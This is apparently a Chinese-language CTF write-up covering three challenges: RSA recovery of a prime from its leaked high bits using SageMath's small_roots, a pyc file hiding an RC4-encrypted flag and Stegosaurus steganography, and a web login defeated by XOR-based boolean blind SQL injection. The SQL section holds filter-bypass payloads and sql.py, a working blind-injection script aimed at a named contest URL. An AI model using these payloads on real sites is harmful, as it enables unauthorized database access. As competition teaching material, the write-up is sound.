Crypto——Untitled
核心考点在于拿到rsa中p的前568位,但是知道 e n 要利用算法破解1024位的p,至少需要576位,所以要爆破8位的二进制,达到576位了再用算法恢复完整的p
密码题目在最下方的whctf2017.py
nc 118.31.18.75 20013 与服务器交互
第一步,过md5
md5脚本为最下方的md5.py
之前都是用xrange生成随机长度,这次试一下生成固定长度的字符串,而且字符集合可以自己选择,没准以后哪次CTF就能用到
第2步要求输入x和y,这里主要考rsa的原理,类似数学等价推导
第3步爆破p
成功交互后返回了s,其中s是p的前部分,脚本中用p4表示
已知e n 要爆破1024位的p,至少需要知道前576位二进制,即前144位16进制,但是返回的s是长位142位的十六进制,需要爆破两位,凑到144位
这里要用到sagaMath来调用强大的计算能力,但是saga有点大,这里推荐一个在线的saga运行网址 https://cocalc.com/
参考链接
http://bobao.360.cn/ctf/detail/205.html partital题
https://www.liangmlk.cn/Index-newDetail-id-10913.html Crypto So Cool题
http://bobao.360.cn/ctf/detail/179.html Crypto So Cool题
https://www.xctf.org.cn/library/details/c275754f6961bd9dfa83960551c1bd328246d5f5/ Crypto So Cool题
http://inaz2.hatenablog.com/entries/2016/01/20 SageMath题有介绍saga的安装和使用
通用的已知144位十六进制的部分p,爆破脚本为最下面的 通用144.py
该题目中爆破两位后,才能构成144位,爆破脚本为最下面 412+2.py
144.py截图
142+2.py截图
第4步 p q c 都知道了,求出明文 m
so easy,脚本为最下面的 rsa.py
git clone https://github.com/hellman/libnum
whctf2017.py:
from Crypto.Util.number import getPrime,long_to_bytes,bytes_to_long
import primefac
import time
from os import urandom
import hashlib
import sys
class Unbuffered(object):
def __init__(self, stream):
self.stream = stream
def write(self, data):
self.stream.write(data)
self.stream.flush()
def __getattr__(self, attr):
return getattr(self.stream, attr)
import sys
sys.stdout = Unbuffered(sys.stdout)
def gen_args():
p=getPrime(1024)
q=getPrime(1024)
n=p*q
e=0x10001
d=primefac.modinv(e,(p-1)*(q-1))%((p-1)*(q-1))
return (p,q,e,n,d)
def proof():
salt=urandom(4)
print salt.encode("base64"),
proof=raw_input("show me your work: ")
if hashlib.md5(salt+proof.decode("base64")).hexdigest().startswith("0000"):
print "checked success"
return 1
return 0
def run():
if not proof():
return
m=int(open("/home/bibi/PycharmProjects/work/whctf/flag","r").read().encode("hex"),16)#flag{*}
(p,q,e,n,d)=gen_args()
c=pow(m,e,n)
print "n:",hex(n)
print "e:",hex(e)
print "c:",hex(c)
t=int(hex(m)[2:][0:8],16)
u=pow(t,e,n)
print "u:",hex(u)
print "===="
x=int(hex(m)[2:][0:8]+raw_input("x: "),16)
print "===="
y=int(raw_input("y: "),16)
if (pow(x,e,n)==y and pow(y,d,n)==t):
print "s:",hex(int(bin(p)[2:][0:568],2))
run()
md5.py
#!coding:utf-8
import string
import hashlib
from random import Random
def random_str(randomlength=8): #这里写的是8位字符的破解,在这题目中可以不下
str = ''
chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'
length = len(chars) - 1
random = Random()
for i in range(randomlength):
str+=chars[random.randint(0, length)]
return str
salt = 'SauTEQ=='.decode('base64')
while True:
proof = random_str(8).encode('base64')
if hashlib.md5(salt+proof.decode('base64')).hexdigest().startswith("0000"):
print proof
print salt
print proof.decode('base64')+salt
print salt.encode('base64')
print hashlib.md5(salt+proof.decode('base64')).hexdigest()
break
144.py
from sage.all import *
n = 0x9d3a1a28ecb1bd245dd86b18dc4c5b729f23778710005118836129f08e31d6516de8ab47db1b3b7f660f50d283b1e9f2c06e7836136e4c0159f5d2b05771861d3ce6aa8715932eadc1cc0f380909a1961018340f7393142f9c177b1187151f97ac8cdc4ad17fa59a0f39d192af555f27de9cc800846eb2ca6ce78f87c0c0fbf47828328392b81771af624389fd779d130d80739bb7a608961125ba3f1800c766440fa70bfd3f834294d47d7ed9cfffd6d14ae18310f6c1d6d8f88b6c5d72a0b45608b4e21bbb8e314220ed7a2d6a8c95454e571c71b50f1d6a823778ca47131f5b889a1ed1957248bee8c4ac66872a5fd58a121560a27bad4958f1c763f2ffddL
p4 =0xda5df16f286dbc825cd0c8ee48aa26ac27338a75172c5b92351f14d083216f7e91b9355e27cf930646fbbda6058dec3c4ddf751f36df5556359fbe671f9b947b4c79cadfdbb27b57
#刚好144位十六进制,576位二进制
e = 0x10001
pbits = 1024
kbits = pbits - p4.nbits()
print p4.nbits()
p4 = p4 << kbits
PR.<x> = PolynomialRing(Zmod(n))
f = x + p4
roots = f.small_roots(X=2^kbits, beta=0.4)
#经过以上一些函数处理后,n和p已经被转化为10进制
if roots:
p = p4+int(roots[0])
print "n: ", n
print "p: ", p
print "q: ", n/p
运行结果
142+2.py
from sage.all import *
n = 0x9d3a1a28ecb1bd245dd86b18dc4c5b729f23778710005118836129f08e31d6516de8ab47db1b3b7f660f50d283b1e9f2c06e7836136e4c0159f5d2b05771861d3ce6aa8715932eadc1cc0f380909a1961018340f7393142f9c177b1187151f97ac8cdc4ad17fa59a0f39d192af555f27de9cc800846eb2ca6ce78f87c0c0fbf47828328392b81771af624389fd779d130d80739bb7a608961125ba3f1800c766440fa70bfd3f834294d47d7ed9cfffd6d14ae18310f6c1d6d8f88b6c5d72a0b45608b4e21bbb8e314220ed7a2d6a8c95454e571c71b50f1d6a823778ca47131f5b889a1ed1957248bee8c4ac66872a5fd58a121560a27bad4958f1c763f2ffddL
p4 =0xda5df16f286dbc825cd0c8ee48aa26ac27338a75172c5b92351f14d083216f7e91b9355e27cf930646fbbda6058dec3c4ddf751f36df5556359fbe671f9b947b4c79cadfdbb27b00
#最后面8位二进制,也就是两位十六进制要参与爆破运算,所以要用 00 补充
e = 0x10001
pbits = 1024
for i in range(0,256): # 要爆破的8位二进制数,为2**8=256,表示0~255
p4=0xda5df16f286dbc825cd0c8ee48aa26ac27338a75172c5b92351f14d083216f7e91b9355e27cf930646fbbda6058dec3c4ddf751f36df5556359fbe671f9b947b4c79cadfdbb27b00
p4=p4+int(hex(i),16)
# print hex(p4)
kbits = pbits - p4.nbits()
# print p4.nbits()
p4 = p4 << kbits
PR.<x> = PolynomialRing(Zmod(n))
f = x + p4
roots = f.small_roots(X=2^kbits, beta=0.4)
#经过以上一些函数处理后,n和p已经被转化为10进制
if roots:
p = p4+int(roots[0])
print "n: ", n
print "p: ", p
print "q: ", n/p
break
运行结果
rsa.py
#!coding:utf-8
import libnum
p = 153342497773165720646471265753416937042378585974980600696228054280777067742118708748260148517704664270966750151230879697775745552153863038444052153549264336387543725044459125347571130674447630098572217293190874462747269265287826289527205379087607586543990164027856167617915226681078528645859423680436167557483
q = 129436166908331611554181128183182589454341960422674433223367230133752416435382709963204302422852744109315802741839344452057748805269289759475931297256986800620920742486276489445279916851138781600867108041340752127975698302831477903370939720026728065273734373673806527712975351406042878379903498709089420733911
n = p * q
e = 65537
c = 3936037472808777071308929516154413904323194935340248548327659414834313812796990403988095925642368079268517801058041656316181783492880322278956562595000260504254255037928037412478862828849501974686520351939250369196179274580006017942557434135384292957158484997604383679828898427028204052111920452543131945953240230799711698405726536262211948501121455918845580494839990978306064590105574542739676508765285583405238287804427122294772381588739840326134102495086948522002204793929245624099798045204501372180048163169180023176545149820275841071238390132249159995705693884766122963689536408510312667760860122892135226523829
phi = (p - 1) * (q - 1)
d = libnum.modular.invmod(e, phi)
m = libnum.n2s(pow(c, d, n)) #m是明文,也就是flag
print m #flag{rs4_y0ok_s0_m2ch_1n_c7f_qu4ls_c0mp7t1t10n}
Misc——py-py-py
这道题misc题,我一开始的思路是爆破uc_key,因为谷歌搜到以前uc的key泄露,为123456789,然后我就以为是爆破key,硬生生把一道misc题当作密码题来做,在最下面贴一下,我爆破uc_key的代码,没准以后哪次ctf会用到,为 uc_key.py
- 现在言归正传,讲这道题的正确解法
- 题目给了一个pyc文件,用一些工具反编译都会报错,后面找了一个在线的反编译pyc的网站,支持不同版本的pyc的反编译 http://tool.lu/pyc/
- 反编译后的代码,贴在下方的py-py-py.py
- 从部分代码看出,使用的是rc4加密算法,而且这里的 ddd 其实就是key
- 网上找到一份rc4解密的python实现算法,代码贴在下面的 rc4.py
修改几个变量就能解了。。。。。
运行结果
- 根据运行结果,知道了是pyc隐写,加解密脚本是Stegosaurus.py,代码也贴在下面,要在 >=py3.6 的版本下运行
py-py-py.py
#!/usr/bin/env python
# encoding: utf-8
# 访问 http://tool.lu/pyc/ 查看更多信息
import sys
import os
import hashlib
import time
import base64
fllag = '9474yeUMWODKruX7OFzD9oekO28+EqYCZHrUjWNm92NSU+eYXOPsRPEFrNMs7J+4qautoqOrvq28pLU='
def crypto(string, op, public_key, expirytime = ('encode', 'ddd', 0)):
ckey_lenth = 4
if not public_key or public_key:
pass
public_key = ''
key = hashlib.md5(public_key).hexdigest()
keya = hashlib.md5(key[0:16]).hexdigest()
keyb = hashlib.md5(key[16:32]).hexdigest()
if ckey_lenth:
if not (op == 'decode' or string[0:ckey_lenth]) and hashlib.md5(str(time.time())).hexdigest()[32 - ckey_lenth:32]:
pass
keyc = ''
cryptkey = keya + hashlib.md5(keya + keyc).hexdigest()
key_lenth = len(cryptkey)
if not op == 'decode' or base64.b64decode(string[4:]):
pass
string = '0000000000' + hashlib.md5(string + keyb).hexdigest()[0:16] + string
string_lenth = len(string)
result = ''
box = list(range(256))
randkey = []
for i in xrange(255):
randkey.append(ord(cryptkey[i % key_lenth]))
for i in xrange(255):
j = 0
j = (j + box[i] + randkey[i]) % 256
tmp = box[i]
box[i] = box[j]
box[j] = tmp
for i in xrange(string_lenth):
a = 0
j = 0
a = (a + 1) % 256
j = (j + box[a]) % 256
tmp = box[a]
box[a] = box[j]
box[j] = tmp
result += chr(ord(string[i]) ^ box[(box[a] + box[j]) % 256])
if op == 'decode':
if (result[0:10] == '0000000000' or int(result[0:10]) - int(time.time()) > 0) and result[10:26] == hashlib.md5(result[26:] + keyb).hexdigest()[0:16]:
return result[26:]
return None
return keyc + base64.b64encode(result)
if __name__ == '__main__':
while None:
flag = raw_input('Please input your flag:')
if flag == crypto(fllag, 'decode'):
print('Success')
break
continue
continue
return None
rc4.py
# /usr/bin/python
# coding=utf-8
import sys, os, hashlib, time, base64
def rc4(string, op='encode', public_key='ddd', expirytime=0):
ckey_lenth = 4
public_key = public_key and public_key or ''
key = hashlib.md5(public_key).hexdigest()
keya = hashlib.md5(key[0:16]).hexdigest()
keyb = hashlib.md5(key[16:32]).hexdigest()
keyc = ckey_lenth and (
op == 'decode' and string[0:ckey_lenth] or hashlib.md5(str(time.time())).hexdigest()[32 - ckey_lenth:32]) or ''
cryptkey = keya + hashlib.md5(keya + keyc).hexdigest()
key_lenth = len(cryptkey)
string = op == 'decode' and base64.b64decode(string[4:]) or '0000000000' + hashlib.md5(string + keyb).hexdigest()[
0:16] + string
string_lenth = len(string)
result = ''
box = list(range(256))
randkey = []
for i in xrange(255):
randkey.append(ord(cryptkey[i % key_lenth]))
for i in xrange(255):
j = 0
j = (j + box[i] + randkey[i]) % 256
tmp = box[i]
box[i] = box[j]
box[j] = tmp
for i in xrange(string_lenth):
a = j = 0
a = (a + 1) % 256
j = (j + box[a]) % 256
tmp = box[a]
box[a] = box[j]
box[j] = tmp
result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
if op == 'decode':
if (result[0:10] == '0000000000' or int(result[0:10]) - int(time.time()) > 0) and result[10:26] == hashlib.md5(
result[26:] + keyb).hexdigest()[0:16]:
return result[26:]
else:
return None
else:
return keyc + base64.b64encode(result)
if __name__ == '__main__':
string = '我在这里呢,你在那里呢'
print(string)
str = rc4(string, 'encode')
print(str)
fllag = '9474yeUMWODKruX7OFzD9oekO28+EqYCZHrUjWNm92NSU+eYXOPsRPEFrNMs7J+4qautoqOrvq28pLU='
rc = rc4(fllag, 'decode')
print(rc)
Stegosaurus.py
import argparse
import logging
import marshal
import opcode
import os
import py_compile
import sys
import math
import string
import types
print ('usage: python Stegosaurus.py -h')
print ('usage: python Stegosaurus.py 1.pyc -x')
if sys.version_info < (3, 6):
sys.exit("Stegosaurus requires Python 3.6 or later")
class MutableBytecode():
def __init__(self, code):
self.originalCode = code
self.bytes = bytearray(code.co_code)
self.consts = [MutableBytecode(const) if isinstance(const, types.CodeType) else const for const in code.co_consts]
def _bytesAvailableForPayload(mutableBytecodeStack, explodeAfter, logger=None):
for mutableBytecode in reversed(mutableBytecodeStack):
bytes = mutableBytecode.bytes
consecutivePrintableBytes = 0
for i in range(0, len(bytes)):
if chr(bytes[i]) in string.printable:
consecutivePrintableBytes += 1
else:
consecutivePrintableBytes = 0
if i % 2 == 0 and bytes[i] < opcode.HAVE_ARGUMENT:
if consecutivePrintableBytes >= explodeAfter:
if logger:
logger.debug("Skipping available byte to terminate string leak")
consecutivePrintableBytes = 0
continue
yield (bytes, i + 1)
def _createMutableBytecodeStack(mutableBytecode):
def _stack(parent, stack):
stack.append(parent)
for child in [const for const in parent.consts if isinstance(const, MutableBytecode)]:
_stack(child, stack)
return stack
return _stack(mutableBytecode, [])
def _dumpBytecode(header, code, carrier, logger):
try:
f = open(carrier, "wb")
f.write(header)
marshal.dump(code, f)
logger.info("Wrote carrier file as %s", carrier)
finally:
f.close()
def _embedPayload(mutableBytecodeStack, payload, explodeAfter, logger):
payloadBytes = bytearray(payload, "utf8")
payloadIndex = 0
payloadLen = len(payloadBytes)
for bytes, byteIndex in _bytesAvailableForPayload(mutableBytecodeStack, explodeAfter):
if payloadIndex < payloadLen:
bytes[byteIndex] = payloadBytes[payloadIndex]
payloadIndex += 1
else:
bytes[byteIndex] = 0
print("Payload embedded in carrier")
def _extractPayload(mutableBytecodeStack, explodeAfter, logger):
payloadBytes = bytearray()
for bytes, byteIndex in _bytesAvailableForPayload(mutableBytecodeStack, explodeAfter):
byte = bytes[byteIndex]
if byte == 0:
break
payloadBytes.append(byte)
payload = str(payloadBytes, "utf8")
print("Extracted payload: {}".format(payload))
def _getCarrierFile(args, logger):
carrier = args.carrier
_, ext = os.path.splitext(carrier)
if ext == ".py":
carrier = py_compile.compile(carrier, doraise=True)
logger.info("Compiled %s as %s for use as carrier", args.carrier, carrier)
return carrier
def _initLogger(args):
handler = logging.StreamHandler()
handler.setFormatter(logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s'))
logger = logging.getLogger("stegosaurus")
logger.addHandler(handler)
if args.verbose:
if args.verbose == 1:
logger.setLevel(logging.INFO)
else:
logger.setLevel(logging.DEBUG)
return logger
def _loadBytecode(carrier, logger):
try:
f = open(carrier, "rb")
header = f.read(12)
code = marshal.load(f)
logger.debug("Read header and bytecode from carrier")
finally:
f.close()
return (header, code)
def _logBytesAvailableForPayload(mutableBytecodeStack, explodeAfter, logger):
for bytes, i in _bytesAvailableForPayload(mutableBytecodeStack, explodeAfter, logger):
logger.debug("%s (%d)", opcode.opname[bytes[i - 1]], bytes[i])
def _maxSupportedPayloadSize(mutableBytecodeStack, explodeAfter, logger):
maxPayloadSize = 0
for bytes, i in _bytesAvailableForPayload(mutableBytecodeStack, explodeAfter):
maxPayloadSize += 1
logger.info("Found %d bytes available for payload", maxPayloadSize)
return maxPayloadSize
def _parseArgs():
argParser = argparse.ArgumentParser()
argParser.add_argument("carrier", help="Carrier py, pyc or pyo file")
argParser.add_argument("-p", "--payload", help="Embed payload in carrier file")
argParser.add_argument("-r", "--report", action="store_true", help="Report max available payload size carrier supports")
argParser.add_argument("-s", "--side-by-side", action="store_true", help="Do not overwrite carrier file, install side by side instead.")
argParser.add_argument("-v", "--verbose", action="count", help="Increase verbosity once per use")
argParser.add_argument("-x", "--extract", action="store_true", help="Extract payload from carrier file")
argParser.add_argument("-e", "--explode", type=int, default=math.inf, help="Explode payload into groups of a limited length if necessary")
args = argParser.parse_args()
return args
def _toCodeType(mutableBytecode):
return types.CodeType(
mutableBytecode.originalCode.co_argcount,
mutableBytecode.originalCode.co_kwonlyargcount,
mutableBytecode.originalCode.co_nlocals,
mutableBytecode.originalCode.co_stacksize,
mutableBytecode.originalCode.co_flags,
bytes(mutableBytecode.bytes),
tuple([_toCodeType(const) if isinstance(const, MutableBytecode) else const for const in mutableBytecode.consts]),
mutableBytecode.originalCode.co_names,
mutableBytecode.originalCode.co_varnames,
mutableBytecode.originalCode.co_filename,
mutableBytecode.originalCode.co_name,
mutableBytecode.originalCode.co_firstlineno,
mutableBytecode.originalCode.co_lnotab,
mutableBytecode.originalCode.co_freevars,
mutableBytecode.originalCode.co_cellvars
)
def _validateArgs(args, logger):
def _exit(msg):
msg = "Fatal error: {}\nUse -h or --help for usage".format(msg)
sys.exit(msg)
allowedCarriers = {".py", ".pyc", ".pyo"}
_, ext = os.path.splitext(args.carrier)
if ext not in allowedCarriers:
_exit("Carrier file must be one of the following types: {}, got: {}".format(allowedCarriers, ext))
if args.payload is None:
if not args.report and not args.extract:
_exit("Unless -r or -x are specified, a payload is required")
if args.extract or args.report:
if args.payload:
logger.warn("Payload is ignored when -x or -r is specified")
if args.side_by_side:
logger.warn("Side by side is ignored when -x or -r is specified")
if args.explode and args.explode < 1:
_exit("Values for -e must be positive integers")
logger.debug("Validated args")
def main():
args = _parseArgs()
logger = _initLogger(args)
_validateArgs(args, logger)
carrier = _getCarrierFile(args, logger)
header, code = _loadBytecode(carrier, logger)
mutableBytecode = MutableBytecode(code)
mutableBytecodeStack = _createMutableBytecodeStack(mutableBytecode)
_logBytesAvailableForPayload(mutableBytecodeStack, args.explode, logger)
if args.extract:
_extractPayload(mutableBytecodeStack, args.explode, logger)
return
maxPayloadSize = _maxSupportedPayloadSize(mutableBytecodeStack, args.explode, logger)
if args.report:
print("Carrier can support a payload of {} bytes".format(maxPayloadSize))
return
payloadLen = len(args.payload)
if payloadLen > maxPayloadSize:
sys.exit("Carrier can only support a payload of {} bytes, payload of {} bytes received".format(maxPayloadSize, payloadLen))
_embedPayload(mutableBytecodeStack, args.payload, args.explode, logger)
_logBytesAvailableForPayload(mutableBytecodeStack, args.explode, logger)
if args.side_by_side:
logger.debug("Creating new carrier file name for side-by-side install")
base, ext = os.path.splitext(carrier)
carrier = "{}-stegosaurus{}".format(base, ext)
code = _toCodeType(mutableBytecode)
_dumpBytecode(header, code, carrier, logger)
if __name__ == "__main__":
main()
uc_key.py (虽然走了弯路,但希望以后能用到)
#!coding:utf-8
from hashlib import md5
import base64
from time import time
from datetime import datetime
import sys
default_encoding = 'utf-8'
if sys.getdefaultencoding() != default_encoding:
reload(sys)
sys.setdefaultencoding(default_encoding) #加上这几句话,可以防止一些编码报错
chars='0123456789zxcvbnmasdfghjklpoiuytrewqQWERTYUIOPLKJHGFDSAZXCVBNM+=/'
#string = '0be6770IigHXZpz9hQYR1fpl15R0z9MUalmYEPhJeEN/sRklL6wQw5yQ7SAyT6tKGJNY0AxnyzS/L7zWQII='
operation = 'DECODE'
#解密算法是RC4原理,之前UC_KEY采用的算法的逆算法
for UC_KEY in xrange(123456777,123456888): #这里密钥为123456789可以解出一个flag来
string = '0be6770IigHXZpz9hQYR1fpl15R0z9MUalmYEPhJeEN/sRklL6wQw5yQ7SAyT6tKGJNY0AxnyzS/L7zWQII='
result = ''
UC_KEY= str(UC_KEY)
print UC_KEY
ckey_length = 4
key = ''
key = md5(UC_KEY).hexdigest()
keya = md5(key[0:16]).hexdigest()
keyb = md5(key[16:32]).hexdigest()
if ckey_length == 0:
keyc = ''
elif operation == 'DECODE':
keyc = string[0:ckey_length]
elif operation == 'ENCODE':
keyc = md5(str(datetime.now().microsecond)).hexdigest()[-ckey_length:]
cryptkey = keya + md5((keya + keyc)).hexdigest()
key_length = len(cryptkey)
if operation == 'DECODE':
b64 = 1
# print string[ckey_length:]
for strin in string[ckey_length:]: #检查是不是base64可解的字符,不是就修改b64标志为0,然后break,不然会解码报错
# print strin
if chars.find(strin) == -1:
b64 = 0
break
if b64 == 0:
continue
string = base64.b64decode(string[ckey_length:])
# print string
elif operation == 'ENCODE':
if expiry == 0:
string = '0000000000' + md5((string + keyb)).hexdigest()[0:16] + string
else:
string = '%10d' % (expiry + int(time())) + md5((string + keyb)).hexdigest()[0:16] + string
else:
print
string_length = len(string)
box = range(256)
rndkey = [0] * 256
for i in range(256):
rndkey[i] = ord(cryptkey[i % key_length])
j = 0
for i in range(256):
j = (j + box[i] + rndkey[i]) % 256
tmp = box[i]
box[i] = box[j]
box[j] = tmp
a = j = 0
for i in range(string_length):
a = (a + 1) % 256
j = (j + box[a]) % 256
tmp = box[a]
box[a] = box[j]
box[j] = tmp
result += chr(ord(string[i]) ^ box[(box[a] + box[j]) % 256])
print result[26:]
if result[26:].find('Flag{') != -1: #搜索flag特征字符串,作为退出条件
print result[26:]
sys.exit()
if result[26:].find('CTF') != -1:
print result[26:]
sys.exit()
if result[26:].find('ctf{') != -1:
print result[26:]
sys.exit()
运行结果
在打WHCTF的时候,一个朋友在打问鼎杯,所以就做了一道问鼎杯的web题——谈笑风生
闭合符号不是单引号,是双引号
大量的过滤,比较蛋疼的有
or 被过滤导致 information_schema也被过滤
# --+ ;%00等注释符号被过滤
and 被过滤
/**/ /*!*/ 等绕过的符号都被过滤
这里采用的绕过使用 异或逻辑符号+布尔盲注入
username="^(ascii(mid(database(),1,1))>0)^"&password=""
username="^(ascii(mid(database(),1,1))=0)^"&password=""
前者显示error password ,后者显示error user这里用的布尔盲注脚本的关键payload是
"^(ascii(mid(pass,%d,1))>%d)^"
具体的盲注脚本贴在下面的sql.py因为information_schema被过滤,所以这里需要猜出字段pass,而不是password
闭合后的sql查询语句应该是这样
select * from user where username = ""^(ascii(mid(database(),1,1))>0)^""and password = ""
空字符串、1、空字符串 这三者异或后返回 1
php代码的sql语句大概是这么写
$sql = select * from user where username = " .$username. "and pass=".md5($password)."
- 盲注得到密码,�
1s2evfh345w$~*213eg3%����������������������������������������
- 那么现在来到最坑的一步了,这里想骂出题人
用户名admin
和密码1s2evfh345w$~*213eg3%
去登陆,结果没反应?????正常情况下,登陆成功后应该302跳转啊!!!! - 后面才知道有个admin.php,登陆成功后,在地址栏,手动将 index.php改成admin.php 。。。。flag就在cookie里面
推荐链接
sql绕过技巧 http://pupiles.com/mysqltrick.html
sql逻辑运算符 http://www.cnblogs.com/emanlee/p/4592337.htm
sql.py
import urllib2
import urllib
t=""
for i in range(1,500):
for j in range(1,128):
params={"username":'"^(ascii(mid(pass,%d,1))>%d)^"'%(i,j),"password":'xx'}
ans=urllib2.urlopen("http://sec2.hdu.edu.cn/ac5c74b64b4b8352ef2f181affb5ac2a/index.php",urllib.urlencode(params)).read()
#print ans
if "Password error!" in ans:
t+=chr(j)
print t
break
print "a loop"